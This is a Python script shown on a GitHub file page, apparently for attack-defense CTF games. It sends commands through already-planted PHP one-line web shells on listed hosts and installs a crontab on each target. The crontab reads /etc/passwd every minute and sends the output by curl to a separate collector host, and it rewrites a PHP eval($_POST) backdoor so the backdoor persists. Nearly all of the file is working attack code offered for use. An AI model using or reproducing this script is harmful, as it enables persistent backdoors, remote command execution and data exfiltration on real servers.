-
Notifications
You must be signed in to change notification settings - Fork 6
/
oneWordInjectCrontab.py
33 lines (29 loc) · 1.28 KB
/
oneWordInjectCrontab.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# - coding:utf8
import requests
import re
password = "ma" #一句话web马密码
one_word = "http://192.168.59.106:88/ma.php" #一句话web马地址
one_word_list = [ #一句话web马地址(批量)
# "http://192.168.59.106:88/ma.php",
# "http://192.168.59.107:88/ma1.php",
# "http://192.168.59.108:88/ma2.php"
]
flag_handler = "http://192.168.59.3:3001/flag" # flagHandler.py的访问地址
flag_payload = "cat /etc/passwd |grep root" # 拿flag需要的命令
protect_file = " /opt/html/xiaoma3.php " # 要写马的地址
protect_payload = "echo \\\\\\\"<?php \\\\\\\\\\\\n @eval(\\\\\\\\\\\\\\$_POST[\\\"" + password + "\\\"]); \\\\\\\\\\\\n \\\\\\\" > " + protect_file
cron_payload = "* * * * * " + flag_payload + " | curl " + flag_handler + " --data-binary @- "
cron_payload += "\\n* * * * * " + protect_payload + " "
shell_payload = "echo \\\"" + cron_payload + "\\\" | crontab && echo ok"
print shell_payload
if len(one_word_list) == 0:
r = requests.post(one_word, data={
password: "system(\" " + shell_payload + " \");"
})
print r.text
else:
for url in one_word_list:
r = requests.post(url, data={
password: "system(\" " + shell_payload + " \");"
})
print r.text